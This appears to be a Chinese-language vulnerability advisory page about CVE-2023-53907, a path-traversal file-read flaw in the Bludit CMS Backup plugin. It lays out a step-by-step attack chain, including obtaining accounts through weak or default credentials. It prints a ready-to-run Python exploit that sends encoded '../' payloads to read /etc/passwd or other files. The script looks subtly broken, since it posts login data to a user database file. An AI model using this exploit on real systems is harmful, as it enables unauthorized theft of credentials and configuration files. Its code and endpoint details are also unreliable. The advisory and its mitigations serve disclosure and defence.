IPBUF安全漏洞报告
English
CVE-2023-53907 CVSS 6.5 中危

CVE-2023-53907 Bludit Backup插件路径遍历任意文件读取漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2023-53907
漏洞类型
路径遍历/任意文件读取
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Bludit CMS

相关标签

CVE-2023-53907路径遍历任意文件读取BluditBackup插件目录遍历认证绕过Web应用安全CMS漏洞中危漏洞

漏洞概述

CVE-2023-53907是Bludit内容管理系统中的一个中危安全漏洞,存在于Backup插件中。该漏洞允许经过身份验证的低权限用户通过操纵文件路径参数,利用目录遍历技术(Directory Traversal)非法访问服务器上的任意文件。由于该漏洞影响系统的机密性,CVSS评分达到6.5分,属于中等严重程度。攻击者只需拥有有效的用户账户(即使是最低权限)即可利用此漏洞,可能导致敏感配置文件、凭据文件、系统文件等机密信息泄露。Bludit是一款流行的轻量级CMS,广泛应用于个人博客和小型网站,此次漏洞影响版本3.13.1之前的所有版本,官方已在3.13.1版本中修复此问题。

技术细节

该漏洞根源在于Bludit的Backup插件在处理文件下载请求时,未对用户提供的文件路径进行充分的输入验证和路径规范化处理。攻击者可以通过构造特殊的路径字符串(如使用../进行目录遍历)来绕过基础的文件路径检查,访问Web根目录之外的系统文件。具体来说,Backup插件的下载功能接口直接接受用户输入的文件路径参数,并在服务器端进行文件读取操作而未进行安全过滤。攻击者利用目录遍历序列可以访问/etc/passwd、配置文件、SSH密钥、日志文件等敏感资源。由于该漏洞需要认证才能利用,攻击场景为:已注册用户登录后,在备份功能页面修改文件下载请求的参数,将目标路径设置为系统敏感文件路径,从而实现任意文件读取。漏洞的利用成功率取决于服务器的目录权限配置和PHP的open_basedir设置。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标网站使用Bludit CMS,并确定其版本低于3.13.1
STEP 2
步骤2:账户获取
攻击者获取或注册一个Bludit低权限用户账户(可通过默认凭据或弱密码漏洞)
STEP 3
步骤3:认证登录
使用获取的账户凭据登录Bludit管理后台,获取有效的会话cookie
STEP 4
步骤4:漏洞探测
访问Backup插件的文件下载功能接口,分析请求参数和响应特征
STEP 5
步骤5:路径遍历构造
构造包含目录遍历序列(如../../)的恶意文件路径,目标是绕过路径过滤读取系统文件
STEP 6
步骤6:敏感文件读取
发送构造的请求到Backup插件下载接口,成功读取目标敏感文件内容
STEP 7
步骤7:权限维持/横向移动
利用获取的凭据或配置文件进行进一步攻击,可能获取数据库连接信息或SSH密钥

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2023-53907 PoC - Bludit Backup Plugin Directory Traversal # Target: Bludit CMS < 3.13.1 # Type: Authenticated Arbitrary File Read via Path Traversal def exploit_bludit_lfi(target_url, username, password, filename='/etc/passwd'): """ Exploit authenticated arbitrary file read vulnerability in Bludit Backup Plugin. Args: target_url: Base URL of the vulnerable Bludit installation username: Valid low-privilege user account password: Password for the user account filename: Path to file to read (default: /etc/passwd) Returns: Content of the requested file if exploitation succeeds """ login_url = f"{target_url}/bl-content/databases/users.php" session = requests.Session() # Step 1: Login to obtain authenticated session login_data = { 'username': username, 'password': password } try: login_response = session.post(login_url, data=login_data) # Step 2: Exploit path traversal in Backup plugin download functionality exploit_url = f"{target_url}/bl-plugins/backup/function/download.php" # Path traversal payload - encode ../ sequence to bypass filters payload = "..%2F..%2F..%2F" + filename.replace('/', '%2F') exploit_params = { 'path': payload } exploit_response = session.get(exploit_url, params=exploit_params) if exploit_response.status_code == 200: print(f"[+] Successfully retrieved file: {filename}") print(f"[+] File content length: {len(exploit_response.text)} bytes") return exploit_response.text else: print(f"[-] Exploitation failed with status code: {exploit_response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {str(e)}") return None if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2023-53907.py <target_url> <username> <password> [filename]") print("Example: python cve-2023-53907.py http://target.com admin password /etc/passwd") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] file_path = sys.argv[4] if len(sys.argv) > 4 else '/etc/passwd' result = exploit_bludit_lfi(target, user, pwd, file_path) if result: print("\n" + "="*50) print(result)

影响范围

Bludit < 3.13.1

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 暂时禁用或移除Backup插件;2) 限制用户注册功能,防止未知用户获取账户;3) 强化用户密码策略;4) 在Web服务器层面配置,禁止访问备份插件的敏感接口;5) 监控访问日志,关注异常的目录遍历请求模式。建议尽快升级到官方修复版本以根本解决此安全风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表